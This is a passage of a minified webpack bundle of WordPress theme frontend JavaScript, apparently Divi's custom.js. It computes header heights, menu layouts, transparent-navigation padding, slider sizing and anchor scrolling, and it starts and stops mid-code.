emitter.setMaxListeners(currentCount); } }; /** * Expose frontend (FE) component via global object so it can be accessed and reused externally * Note: window.ET_Builder is for builder app's component; window.ET_FE is for frontend component. * * @since 4.6.0 * * @param {string} type * @param {string} name * @param {mixed} component */ var registerFrontendComponent = function registerFrontendComponent(type, name, component) { // Make sure that ET_FE is available if ('undefined' === typeof window.ET_FE) { window.ET_FE = {}; } if ('object' !== _typeof(window.ET_FE[type])) { window.ET_FE[type] = {}; } window.ET_FE[type][name] = component; }; /** * Set inline style with !important tag. JQuery's .css() can't set value with `!important` tag so * here it is. * * @since 4.6.2 * * @param {object} $element * @param {string} cssProp * @param {string} value */ var setImportantInlineValue = function setImportantInlineValue($element, cssProp, value) { // Remove prop from current inline style in case the prop is already exist $element.css(cssProp, ''); // Get current inline style var inlineStyle = $element.attr('style'); // Re-insert inline style + property with important tag $element.attr('style', "".concat(inlineStyle, " ").concat(cssProp, ": ").concat(value, " !important;")); }; /***/ }), /***/ "./js/src/custom.js": /*!**************************!*\ !*** ./js/src/custom.js ***! \**************************/ /*! no exports provided */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony import */ var builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! builder/scripts/utils/utils */ "./includes/builder/scripts/utils/utils.js"); // Internal dependencies /*! ET custom.js */ (function ($) { window.et_calculating_scroll_position = false; window.et_side_nav_links_initialized = false; var top_window = builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] ? ET_Builder.Frames.top : window; function et_get_first_section() { return $('.et-l:not(.et-l--footer) .et_pb_section:visible').first(); } function et_get_first_module() { return $('.et-l .et_pb_module:visible').first(); } var $et_pb_post_fullwidth = $('.single.et_pb_pagebuilder_layout.et_full_width_page'), et_is_mobile_device = navigator.userAgent.match(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/), et_is_ipad = navigator.userAgent.match(/iPad/), $et_container = $('.container'), et_container_width = $et_container.width(), et_is_fixed_nav = $('body').hasClass('et_fixed_nav') || $('body').hasClass('et_vertical_fixed'), et_is_vertical_fixed_nav = $('body').hasClass('et_vertical_fixed'), et_is_rtl = $('body').hasClass('rtl'), et_hide_nav = $('body').hasClass('et_hide_nav'), et_header_style_left = $('body').hasClass('et_header_style_left'), $top_header = $('#top-header'), $main_header = $('#main-header'), $main_container_wrapper = $('#page-container'), $et_main_content_first_row = $('#main-content .container:first-child'), $et_main_content_first_row_meta_wrapper = $et_main_content_first_row.find('.et_post_meta_wrapper').first(), $et_main_content_first_row_meta_wrapper_title = $et_main_content_first_row_meta_wrapper.find('h1.entry-title'), $et_main_content_first_row_content = $et_main_content_first_row.find('.entry-content').first(), $et_single_post = $('body.single'), $et_window = $(window), etRecalculateOffset = false, et_header_height = 0, et_header_modifier, et_header_offset, et_primary_header_top, $et_header_style_split = $('.et_header_style_split'), $et_top_navigation = $('#et-top-navigation'), $logo = $('#logo'), $et_pb_first_row = et_get_first_section(), et_is_touch_device = 'ontouchstart' in window || navigator.maxTouchPoints, $et_top_cart = $('#et-secondary-menu a.et-cart-info'); // Modification of underscore's _.debounce() // Underscore.js 1.8.3 // http://underscorejs.org // (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. function et_debounce(func, wait, immediate) { var timeout, args, context, timestamp, result; var now = Date.now || new Date().getTime(); var later = function later() { var last = now - timestamp; if (last < wait && last >= 0) { timeout = setTimeout(later, wait - last); } else { timeout = null; if (!immediate) { result = func.apply(context, args); if (!timeout) context = args = null; } } }; return function () { context = this; args = arguments; timestamp = now; var callNow = immediate && !timeout; if (!timeout) timeout = setTimeout(later, wait); if (callNow) { result = func.apply(context, args); context = args = null; } return result; }; } ; function et_preload_image(src, callback) { var img = new Image(); img.onLoad = callback; img.onload = callback; img.src = src; } // We need to check first to see if we are on a woocommerce single product. if ($(".woocommerce .woocommerce-product-gallery").length > 0) { // get the gallery container. var gal = $(".woocommerce-product-gallery")[0]; // let's replace the data attribute since Salvatorre reconfigures // data-columns on the resize event. var newstr = gal.outerHTML.replace('data-columns', 'data-cols'); // finally we re-insert. gal.outerHTML = newstr; } // update the cart item on the secondary menu. if ($et_top_cart.length > 0 && $('.shop_table.cart').length > 0) { $(document.body).on('updated_wc_div', function () { var new_total = 0; var new_text; $('.shop_table.cart').find('.product-quantity input').each(function () { new_total = new_total + parseInt($(this).val()); }); if (new_total === 1) { new_text = DIVI.item_count; } else { new_text = DIVI.items_count; } new_text = new_text.replace('%d', new_total); $et_top_cart.find('span').text(new_text); }); } document.addEventListener('DOMContentLoaded', function () { var $et_top_menu = $('ul.nav, ul.menu'), $et_search_icon = $('#et_search_icon'), et_parent_menu_longpress_limit = 300, et_parent_menu_longpress_start, et_parent_menu_click = true, is_customize_preview = $('body').hasClass('et_is_customize_preview'); window.et_pb_init_nav_menu($et_top_menu); function et_header_menu_split() { var $logo_container = $('#main-header > .container > .logo_container'), $logo_container_splitted = $('.centered-inline-logo-wrap > .logo_container'), et_top_navigation_li_size = $et_top_navigation.children('nav').children('ul').children('li').length, et_top_navigation_li_break_index = Math.round(et_top_navigation_li_size / 2) - 1, window_width = window.innerWidth || $et_window.width(); if (window_width > 980 && $logo_container.length && $('body').hasClass('et_header_style_split')) { $('<li class="centered-inline-logo-wrap"></li>').insertAfter($et_top_navigation.find('nav > ul >li:nth(' + et_top_navigation_li_break_index + ')')); $logo_container.appendTo($et_top_navigation.find('.centered-inline-logo-wrap')); } if (window_width <= 980 && $logo_container_splitted.length) { $logo_container_splitted.prependTo('#main-header > .container'); $('#main-header .centered-inline-logo-wrap').remove(); } } function et_set_right_vertical_menu() { var $body = $('body'); if ($body.hasClass('et_boxed_layout') && $body.hasClass('et_vertical_fixed') && $body.hasClass('et_vertical_right')) { var header_offset = parseFloat($('#page-container').css('margin-right')); header_offset += parseFloat($('#et-main-area').css('margin-right')) - 225; header_offset = 0 > header_offset ? 0 : header_offset; $('#main-header').addClass('et_vertical_menu_set').css({ 'left': '', 'right': header_offset + 'px' }); } } if ($et_header_style_split.length && !window.et_is_vertical_nav || is_customize_preview) { et_header_menu_split(); $(window).on('resize', function () { et_header_menu_split(); }); } if (window.et_is_vertical_nav) { if ($('#main-header').height() < $('#et-top-navigation').height()) { $('#main-header').height($('#et-top-navigation').height() + $('#logo').height() + 100); } et_set_right_vertical_menu(); } window.et_calculate_header_values = function () { var $top_header = $('#top-header'), secondary_nav_height = $top_header.length && $top_header.is(':visible') ? parseInt($top_header.innerHeight()) : 0, admin_bar_height = $('#wpadminbar').length ? parseInt($('#wpadminbar').innerHeight()) : 0, $slide_menu_container = $('.et_header_style_slide .et_slide_in_menu_container'), is_rtl = $('body').hasClass('rtl'); et_header_height = parseInt($('#main-header').length ? $('#main-header').innerHeight() : 0) + secondary_nav_height; et_header_modifier = et_header_height <= 90 ? et_header_height - 29 : et_header_height - 56; et_header_offset = et_header_modifier + admin_bar_height; et_primary_header_top = secondary_nav_height + admin_bar_height; if ($slide_menu_container.length && !$('body').hasClass('et_pb_slide_menu_active')) { if (is_rtl) { $slide_menu_container.css({ left: '-' + parseInt($slide_menu_container.innerWidth()) + 'px', 'display': 'none' }); } else { $slide_menu_container.css({ right: '-' + parseInt($slide_menu_container.innerWidth()) + 'px', 'display': 'none' }); } if ($('body').hasClass('et_boxed_layout')) { if (is_rtl) { var page_container_margin = $main_container_wrapper.css('margin-right'); $main_header.css({ right: page_container_margin }); } else { var page_container_margin = $main_container_wrapper.css('margin-left'); $main_header.css({ left: page_container_margin }); } } } }; var $comment_form = $('#commentform'); et_pb_form_placeholders_init($comment_form); $comment_form.on('submit', function () { et_pb_remove_placeholder_text($comment_form); }); et_duplicate_menu($('#et-top-navigation ul.nav'), $('#et-top-navigation .mobile_nav'), 'mobile_menu', 'et_mobile_menu'); et_duplicate_menu('', $('.et_pb_fullscreen_nav_container'), 'mobile_menu_slide', 'et_mobile_menu', 'no_click_event'); // Handle `Disable top tier dropdown menu links` Theme Option. if ($('ul.et_disable_top_tier').length) { var $disbaled_top_tier_links = $("ul.et_disable_top_tier > li > ul").prev('a'); $disbaled_top_tier_links.attr('href', '#'); $disbaled_top_tier_links.on('click', function (e) { e.preventDefault(); }); // Handle top tier links in cloned mobile menu var $disbaled_top_tier_links_mobile = $("ul#mobile_menu > li > ul").prev('a'); $disbaled_top_tier_links_mobile.attr('href', '#'); $disbaled_top_tier_links_mobile.on('click', function (e) { e.preventDefault(); }); } if ($('#et-secondary-nav').length) { $('#et-top-navigation #mobile_menu').append($('#et-secondary-nav').clone().html()); } // adding arrows for the slide/fullscreen menus if ($('.et_slide_in_menu_container').length) { var $item_with_sub = $('.et_slide_in_menu_container').find('.menu-item-has-children > a'); // add arrows for each menu item which has submenu if ($item_with_sub.length) { $item_with_sub.append('<span class="et_mobile_menu_arrow"></span>'); } } function et_change_primary_nav_position(delay) { setTimeout(function () { var etPrimaryHeaderTop = 0; var $body = $('body'); var $wpadminbar = builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] ? top_window.jQuery('#wpadminbar') : $('#wpadminbar'); var $topHTML = top_window.jQuery('html'); var $topHeader = $('#top-header'); var isPreviewMode = $topHTML.is('.et-fb-preview--zoom:not(.et-fb-preview--desktop)'); isPreviewMode = isPreviewMode || $topHTML.is('.et-fb-preview--tablet'); isPreviewMode = isPreviewMode || $topHTML.is('.et-fb-preview--phone'); if ($wpadminbar.length && !Number.isNaN($wpadminbar.innerHeight())) { var adminbarHeight = parseFloat($wpadminbar.innerHeight()); // Adjust admin bar height for builder's preview mode // since admin bar is rendered on top window in these modes. etPrimaryHeaderTop += builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] && isPreviewMode ? 0 : adminbarHeight; } if ($topHeader.length && $topHeader.is(':visible')) { etPrimaryHeaderTop += $topHeader.innerHeight(); } var isFixedNav = $body.hasClass('et_fixed_nav'); var isAbsolutePrimaryNav = !isFixedNav && $body.hasClass('et_transparent_nav') && $body.hasClass('et_secondary_nav_enabled'); if (!window.et_is_vertical_nav && (isFixedNav || isAbsolutePrimaryNav)) { $('#main-header').css('top', etPrimaryHeaderTop + 'px'); } }, delay); } window.et_change_primary_nav_position = et_change_primary_nav_position; function et_hide_nav_transform() { var $body = $('body'), $body_height = $(document).height(), $viewport_height = $(window).height() + et_header_height + 200; // Do nothing when Vertical Navigation is Enabled if ($body.hasClass('et_vertical_nav')) { return; } if ($body.hasClass('et_hide_nav') || $body.hasClass('et_hide_nav_disabled') && $body.hasClass('et_fixed_nav')) { if ($body_height > $viewport_height) { if ($body.hasClass('et_hide_nav_disabled')) { $body.addClass('et_hide_nav'); $body.removeClass('et_hide_nav_disabled'); } $('#main-header').css('transform', 'translateY(-' + et_header_height + 'px)'); $('#top-header').css('transform', 'translateY(-' + et_header_height + 'px)'); } else { $('#main-header').css({ 'transform': 'translateY(0)', 'opacity': '1' }); $('#top-header').css({ 'transform': 'translateY(0)', 'opacity': '1' }); $body.removeClass('et_hide_nav'); $body.addClass('et_hide_nav_disabled'); } // Run fix page container again, needed when body height is not tall enough and // adjustment has been aded et_fix_page_container_position(); } } // Saving current styling for the next resize cycle function et_save_initial_page_container_style($selector, property) { var styling = {}; styling[property] = $selector.css(property); $selector.attr({ 'data-fix-page-container': 'on' }).data({ 'fix_page_container_style': styling }); } function et_page_load_scroll_to_anchor() { var location_hash = window.et_location_hash.replace(/(\|)/g, "\\$1"); if ($(location_hash).length === 0) { return; } var $map_container = $(location_hash + ' .et_pb_map_container'); var $map = $map_container.children('.et_pb_map'); var $target = $(location_hash); // Make the target element visible again if ('undefined' !== typeof window.et_location_hash_style) { $target.css('display', window.et_location_hash_style); } var distance = 'undefined' !== typeof $target.offset().top ? $target.offset().top : 0; var speed = distance > 4000 ? 1600 : 800; if ($map_container.length) { google.maps.event.trigger($map[0], 'resize'); } // Workaround for reviews tab in woo tabs. if ($target.parents().hasClass('commentlist')) { $('.reviews_tab').trigger('click').animate({ scrollTop: $target.offset().top }, 700); } // Allow the header sizing functions enough time to finish before scrolling the page setTimeout(function () { et_pb_smooth_scroll($target, false, speed, 'swing'); // During the page scroll animation, the header's height might change. // Do the scroll animation again to ensure its accuracy. setTimeout(function () { et_pb_smooth_scroll($target, false, 150, 'linear'); }, speed + 25); }, 700); } // Retrieving padding/margin value based on formatted saved padding/margin strings function et_get_saved_padding_margin_value(saved_value, order) { if (typeof saved_value === 'undefined') { return false; } var values = saved_value.split('|'); return typeof values[order] !== 'undefined' ? values[order] : false; } function et_fix_page_container_position() { var et_window_width = parseInt($et_window.width()), $top_header = $('#top-header'), $et_pb_first_row = et_get_first_section(), secondary_nav_height = $top_header.length && $top_header.is(':visible') ? parseInt($top_header.innerHeight()) : 0, main_header_fixed_height = 0, header_height, et_pb_first_row_padding_top; var $mainHeaderClone = $main_header.clone().addClass('et-disabled-animations main-header-clone').css({ opacity: '0px', position: 'fixed', top: 'auto', right: '0px', bottom: '0px', left: '0px' }).appendTo($('body')); // Replace previous resize cycle's adjustment if (!$('body').hasClass('et-bfb')) { $('*[data-fix-page-container="on"]').each(function () { var $adjusted_element = $(this), styling = $adjusted_element.data(); if (styling && styling.fix_page_container_style) { // Reapply previous styling $adjusted_element.css(styling.fix_page_container_style); } }); } // Set data-height-onload for header if the page is loaded on large screen // If the page is loaded from small screen, rely on data-height-onload printed on the markup, // prevent window resizing issue from small to large // ignore data-height-loaded in VB to make sure it calculated correctly. if (et_window_width > 980 && (!$main_header.attr('data-height-loaded') || $('body').is('.et-fb'))) { var mainHeaderHeight = 0; if ($main_header.hasClass('et-fixed-header')) { $mainHeaderClone.removeClass('et-fixed-header'); mainHeaderHeight = $mainHeaderClone.height(); $mainHeaderClone.addClass('et-fixed-header'); } else { mainHeaderHeight = $main_header.height(); } $main_header.attr({ 'data-height-onload': parseInt(mainHeaderHeight), 'data-height-loaded': true }); } // Use on page load calculation for large screen. Use on the fly calculation for small screen (980px below) if (et_window_width <= 980) { header_height = parseInt($main_header.length ? $main_header.innerHeight() : 0) + secondary_nav_height - ($('body').hasClass('et-fb') ? 0 : 1); // If transparent is detected, #main-content .container's padding-top needs to be added to header_height // And NOT a pagebuilder page if (window.et_is_transparent_nav && !$et_pb_first_row.length) { header_height += 58; } } else { // Get header height from header attribute header_height = parseInt($main_header.attr('data-height-onload')) + secondary_nav_height; // Non page builder page needs to be added by #main-content .container's fixed height if (window.et_is_transparent_nav && !window.et_is_vertical_nav && $et_main_content_first_row.length) { header_height += 58; } // Calculate fixed header height by cloning, emulating, and calculating its height main_header_fixed_height = $mainHeaderClone.height(); } if (et_hide_nav) { var topNavHeightDiff = parseInt($et_top_navigation.data('height')) - parseInt($et_top_navigation.data('fixed-height')); main_header_fixed_height = parseInt($main_header.data('height-onload')) - topNavHeightDiff; } // Saved fixed main header height calculation $main_header.attr({ 'data-fixed-height-onload': main_header_fixed_height }); var $wooCommerceNotice = $('.et_fixed_nav.et_transparent_nav.et-db.et_full_width_page #left-area > .woocommerce-notices-wrapper'); if ($wooCommerceNotice.length > 0 && 'yes' !== $wooCommerceNotice.attr('data-position-set')) { var wooNoticeMargin = main_header_fixed_height; if (0 === wooNoticeMargin && $main_header.attr('data-height-onload')) { wooNoticeMargin = $main_header.attr('data-height-onload'); } $wooCommerceNotice.css('marginTop', parseFloat(wooNoticeMargin) + 'px'); $wooCommerceNotice.animate({ 'opacity': '1' }); $wooCommerceNotice.attr('data-position-set', 'yes'); } // Specific adjustment required for transparent nav + not vertical nav + (not hidden nav // OR hidden nav but document height is shorter than "viewport" height) // NOTES: // 1. hidden nav: nav is initially hidden then appears as the window is scrolled) // 2. in hidden nav, nav is displayed as window is scrolled. If document height is // shorter than viewport, vertical scroll doesn't exist and nav is directly rendered. // Thus, transparent nav adjustment need to be applied if body is shorter than window // 3. Hidden nav only works on desktop breakpoint. Nav is always displayed on tablet // and smaller breakpoints // 4. "viewport" height calculation needs to be identical with viewport calculation used // at `et_hide_nav_transform()` to make sure that when nav is displayed due to short // document height, the padding gets added var bodyHeight = $(document).height(); var viewportHeight = $(window).height() + et_header_height + 200; var isBodyShorterThanViewport = viewportHeight > bodyHeight; var isDesktop = parseInt($(window).width()) > 980; var isHideNavDesktop = isDesktop && et_hide_nav; if (window.et_is_transparent_nav && !window.et_is_vertical_nav && (!isHideNavDesktop || isBodyShorterThanViewport)) { if (!$('body').hasClass('et-bfb')) { // Add class for first row for custom section padding purpose $et_pb_first_row.addClass('et_pb_section_first'); } // List of conditionals var is_pb = $et_pb_first_row.length, is_post_pb = is_pb && $et_single_post.length, is_post_pb_full_layout_has_title = $et_pb_post_fullwidth.length && $et_main_content_first_row_meta_wrapper_title.length, is_post_pb_full_layout_no_title = $et_pb_post_fullwidth.length && 0 === $et_main_content_first_row_meta_wrapper_title.length, is_post_with_tb_body = is_post_pb && $('.et-l--body').length, is_pb_fullwidth_section_first = $et_pb_first_row.is('.et_pb_fullwidth_section'), is_no_pb_mobile = et_window_width <= 980 && $et_main_content_first_row.length, isProject = $('body').hasClass('single-project'); if (!is_post_with_tb_body && is_post_pb && !(is_post_pb_full_layout_no_title && is_pb_fullwidth_section_first) && !isProject) { /* Desktop / Mobile + Single Post */ /* * EXCEPT for fullwidth layout + fullwidth section ( at the first row ). * It is basically the same as page + fullwidth section with few quirk. * Instead of duplicating the conditional for each module, it'll be simpler to negate * fullwidth layout + fullwidth section in is_post_pb and rely it to is_pb_fullwidth_section_first */ // Remove main content's inline padding to styling to prevent looping padding-top calculation $et_main_content_first_row.css({ 'paddingTop': '' }); if (et_window_width < 980) { header_height += 40; } if (is_pb_fullwidth_section_first) { // If the first section is fullwidth, restore the padding-top modified area at first section $et_pb_first_row.css({ 'paddingTop': '0px' }); } if (is_post_pb_full_layout_has_title) { // Add header height to post meta wrapper as padding top $et_main_content_first_row_meta_wrapper.css({ 'paddingTop': header_height + 'px' }); } else if (is_post_pb_full_layout_no_title) { // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row, 'paddingTop'); // Reset any inline padding-top. $et_pb_first_row.css({ paddingTop: '' }); $et_pb_first_row.css({ // Ignore the extra 58px added to header height previously. 'paddingTop': 'calc(' + (header_height - 58) + 'px + ' + $et_pb_first_row.css('paddingTop') + ')' }); } else { // Save current styling for the next resize cycle et_save_initial_page_container_style($et_main_content_first_row, 'paddingTop'); // Add header height to first row content as padding top $et_main_content_first_row.css({ 'paddingTop': header_height + 'px' }); } } else if (is_pb_fullwidth_section_first) { /* Desktop / Mobile + Pagebuilder + Fullwidth Section */ var $et_pb_first_row_first_module = $et_pb_first_row.children('.et_pb_module:visible').first(); // Quirks: If this is post with fullwidth layout + no title + fullwidth section at first row, // Remove the added height at line 2656 if (is_post_pb_full_layout_no_title && is_pb_fullwidth_section_first && et_window_width > 980) { header_height = header_height - 58; } if ($et_pb_first_row_first_module.is('.et_pb_slider')) { /* Desktop / Mobile + Pagebuilder + Fullwidth slider */ var $et_pb_first_row_first_module_slide_image = $et_pb_first_row_first_module.find('.et_pb_slide_image'), $et_pb_first_row_first_module_slide = $et_pb_first_row_first_module.find('.et_pb_slide'), $et_pb_first_row_first_module_slide_container = $et_pb_first_row_first_module.find('.et_pb_slide .et_pb_container'), et_pb_slide_image_margin_top = 0 - parseInt($et_pb_first_row_first_module_slide_image.height()) / 2, et_pb_slide_container_height = 0, $et_pb_first_row_first_module_slider_arrow = $et_pb_first_row_first_module.find('.et-pb-slider-arrows a'), et_pb_first_row_slider_arrow_height = $et_pb_first_row_first_module_slider_arrow.height(); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slide, 'paddingTop'); // Adding padding top to each slide so the transparency become useful $et_pb_first_row_first_module_slide.css({ 'paddingTop': header_height + 'px' }); // delete container's min-height $et_pb_first_row_first_module_slide_container.css({ 'min-height': '' }); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slide_image, 'marginTop'); // Adjusting slider's image, considering additional top padding of slideshow $et_pb_first_row_first_module_slide_image.css({ 'marginTop': et_pb_slide_image_margin_top + 'px' }); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slider_arrow, 'marginTop'); // Adjusting slider's arrow, considering additional top padding of slideshow $et_pb_first_row_first_module_slider_arrow.css({ 'marginTop': header_height / 2 - et_pb_first_row_slider_arrow_height / 2 + 'px' }); // Looping the slide and get the highest height of slide var et_pb_first_row_slide_container_height_new = 0; $et_pb_first_row_first_module.find('.et_pb_slide').each(function () { var $et_pb_first_row_first_module_slide_item = $(this), $et_pb_first_row_first_module_slide_container = $et_pb_first_row_first_module_slide_item.find('.et_pb_container'); // Make sure that the slide is visible to calculate correct height $et_pb_first_row_first_module_slide_item.show(); // Remove existing inline css to make sure that it calculates the height $et_pb_first_row_first_module_slide_container.css({ 'min-height': '' }); var et_pb_first_row_slide_container_height = $et_pb_first_row_first_module_slide_container.innerHeight(); if (et_pb_first_row_slide_container_height_new < et_pb_first_row_slide_container_height) { et_pb_first_row_slide_container_height_new = et_pb_first_row_slide_container_height; } // Hide the slide back if it isn't active slide if ($et_pb_first_row_first_module_slide_item.is(':not(".et-pb-active-slide")')) { $et_pb_first_row_first_module_slide_item.hide(); } }); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slide_container, 'min-height'); // Setting appropriate min-height, considering additional top padding of slideshow $et_pb_first_row_first_module_slide_container.css({ 'min-height': et_pb_first_row_slide_container_height_new + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_fullwidth_header')) { /* Desktop / Mobile + Pagebuilder + Fullwidth header */ // Remove existing inline stylesheet to prevent looping padding $et_pb_first_row_first_module.removeAttr('style'); // Get paddingTop from stylesheet var et_pb_first_row_first_module_fullwidth_header_padding_top = parseInt($et_pb_first_row_first_module.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module, 'paddingTop'); // Implement stylesheet's padding-top + header_height $et_pb_first_row_first_module.css({ 'paddingTop': header_height + et_pb_first_row_first_module_fullwidth_header_padding_top + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_fullwidth_portfolio')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Portfolio */ // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module, 'paddingTop'); $et_pb_first_row_first_module.css({ 'paddingTop': header_height + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_map_container')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Map */ var $et_pb_first_row_map = $et_pb_first_row_first_module.find('.et_pb_map'); // Remove existing inline height to prevent looping height calculation $et_pb_first_row_map.css({ 'height': '' }); // Implement map height + header height $et_pb_first_row_first_module.find('.et_pb_map').css({ 'height': header_height + parseInt($et_pb_first_row_map.css('height')) + 'px' }); // Adding specific class to mark the map as first row section element $et_pb_first_row_first_module.addClass('et_beneath_transparent_nav'); } else if ($et_pb_first_row_first_module.is('.et_pb_menu') || $et_pb_first_row_first_module.is('.et_pb_fullwidth_menu')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Menu */ // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module, 'marginTop'); $et_pb_first_row_first_module.css({ 'marginTop': header_height + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_fullwidth_code')) { /* Desktop / Mobile + Pagebuilder + Fullwidth code */ var $et_pb_first_row_first_module_code = $et_pb_first_row_first_module; $et_pb_first_row_first_module_code.css({ 'paddingTop': '' }); var et_pb_first_row_first_module_code_padding_top = parseInt($et_pb_first_row_first_module_code.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_code, 'paddingTop'); $et_pb_first_row_first_module_code.css({ 'paddingTop': header_height + et_pb_first_row_first_module_code_padding_top + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_post_title')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Post Title */ var $et_pb_first_row_first_module_title = $et_pb_first_row_first_module; // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_title, 'paddingTop'); $et_pb_first_row_first_module.css({ 'paddingTop': header_height + 50 + 'px' }); } else if (!$et_pb_first_row_first_module.length) { // Get current padding top et_pb_first_row_padding_top = parseFloat($et_pb_first_row.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row, 'paddingTop'); // Keep the state of previous cycle. The padding top is reset to the first // cycle by default (padding-top: 0px) so if previous cycle didn't hide the // nav, automatically add the additional padding top if (!$et_pb_first_row.data('is_hide_nav')) { $et_pb_first_row.css({ 'paddingTop': et_pb_first_row_padding_top + header_height + 'px' }); } // Use timeout to avoid flickering padding top when window is resized vertically // and hidden nav is transitioned to visible nav, vice versa. clearTimeout(window.et_fallback_transparent_adjustment_timeout); window.et_fallback_transparent_adjustment_timeout = setTimeout(function () { // Hidden nav can be decided by the existance of et_hide_nav class AND // the css transform attribute value because the visibility of nav is // modified by CSS transition var is_hide_nav = $('body').hasClass('et_hide_nav') && $('#main-header').css('transform') !== 'matrix(1, 0, 0, 1, 0, 0)'; // Add / remove additional top padding accordingly if (is_hide_nav) { $et_pb_first_row.css({ 'paddingTop': '' }); } else { $et_pb_first_row.css({ 'paddingTop': et_pb_first_row_padding_top + header_height + 'px' }); } // Save current nav state for next cycle assessment $et_pb_first_row.data('is_hide_nav', is_hide_nav); }, 300); } } else if (is_pb) { /* Desktop / Mobile + Pagebuilder + Regular section */ // Remove first row's inline padding top styling to prevent looping padding-top calculation $et_pb_first_row.css({ 'paddingTop': '' }); // Get saved custom padding from data-* attributes. Builder automatically adds // saved custom paddings to data-* attributes on first section var saved_custom_padding = $et_pb_first_row.attr('data-padding'), saved_custom_padding_top = et_get_saved_padding_margin_value(saved_custom_padding, 0), saved_custom_padding_tablet = $et_pb_first_row.attr('data-padding-tablet'), saved_custom_padding_tablet_top = et_get_saved_padding_margin_value(saved_custom_padding_tablet, 0), saved_custom_padding_phone = $et_pb_first_row.attr('data-padding-phone'), saved_custom_padding_phone_top = et_get_saved_padding_margin_value(saved_custom_padding_phone, 0), applied_saved_custom_padding; if (saved_custom_padding_top || saved_custom_padding_tablet_top || saved_custom_padding_phone_top) { // Applies padding top to first section to automatically convert saved unit into px if (et_window_width > 980 && saved_custom_padding_top) { $et_pb_first_row.css({ paddingTop: 'number' === typeof saved_custom_padding_top ? saved_custom_padding_top + 'px' : saved_custom_padding_top }); } else if (et_window_width > 767 && saved_custom_padding_tablet_top) { $et_pb_first_row.css({ paddingTop: 'number' === typeof saved_custom_padding_tablet_top ? saved_custom_padding_tablet_top + 'px' : saved_custom_padding_tablet_top }); } else if (saved_custom_padding_phone_top) { $et_pb_first_row.css({ paddingTop: 'number' === typeof saved_custom_padding_phone_top ? saved_custom_padding_phone_top + 'px' : saved_custom_padding_phone_top }); } // Get converted custom padding top value applied_saved_custom_padding = parseInt($et_pb_first_row.css('paddingTop')); // Implemented saved & converted padding top + header height $et_pb_first_row.css({ paddingTop: header_height + applied_saved_custom_padding + 'px' }); } else { // Pagebuilder ignores #main-content .container's fixed height and uses its row's padding // Anticipate the use of custom section padding. et_pb_first_row_padding_top = header_height + parseInt($et_pb_first_row.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row, 'paddingTop'); // Implementing padding-top + header_height $et_pb_first_row.css({ 'paddingTop': et_pb_first_row_padding_top + 'px' }); } } else if (is_no_pb_mobile) { // Mobile + not pagebuilder $et_main_content_first_row.css({ 'paddingTop': header_height + 'px' }); } else { $('#main-content .container:first-child').css({ 'paddingTop': header_height + 'px' }); } // Set #page-container's padding-top to zero after inline styling first row's content has been added if (!$('#et_fix_page_container_position').length) { $('<style />', { 'id': 'et_fix_page_container_position', 'text': '#page-container{ padding-top: 0 !important;}' }).appendTo('head'); } // If the first visible (visibility is significant for for cached split test) section/row/module has // parallax background, trigger parallax height resize so the parallax location is correctly rendered // due to addition of first section/row/module margin-top/padding-top which is needed for transparent // primary nav var $firstSection = $('.et_pb_section:visible').first(); var $firstRow = $firstSection.find('.et_pb_row:visible').first(); var $firstModule = $firstSection.find('.et_pb_module:visible').first(); var firstSectionHasParallax = $firstSection.hasClass('et_pb_section_parallax'); var firstRowHasParallax = $firstRow.hasClass('et_pb_section_parallax'); var firstModuleHasParallax = $firstModule.hasClass('et_pb_section_parallax'); if (firstSectionHasParallax || firstRowHasParallax || firstModuleHasParallax) { $(window).trigger('resize.etTrueParallaxBackground'); } } else if (et_is_fixed_nav) { $main_container_wrapper.css('paddingTop', header_height + 'px'); } $mainHeaderClone.remove(); et_change_primary_nav_position(0); $(document).trigger('et-pb-header-height-calculated'); } window.et_fix_page_container_position = et_fix_page_container_position; // Save container width on page load for reference $et_container.data('previous-width', parseInt($et_container.width())); var update_page_container_position = et_debounce(function () { et_fix_page_container_position(); if (typeof et_fix_fullscreen_section === 'function') { et_fix_fullscreen_section(); } }, 200); $(window).on('resize', function () { var window_width = parseInt($et_window.width()), has_container = $et_container.length > 0, et_container_previous_width = !has_container ? 0 : parseInt($et_container.data('previous-width')) || 0, et_container_css_width = $et_container.css('width'), et_container_width_in_pixel = typeof et_container_css_width !== 'undefined' ? et_container_css_width.substr(-1, 1) !== '%' : '', et_container_actual_width = !has_container ? 0 : et_container_width_in_pixel ? parseInt($et_container.width()) : parseInt((parseInt($et_container.width()) / 100).toFixed(0)) * window_width, // $et_container.width() doesn't recognize pixel or percentage unit. It's our duty to understand what it returns and convert it properly containerWidthChanged = $et_container.length && et_container_previous_width !== 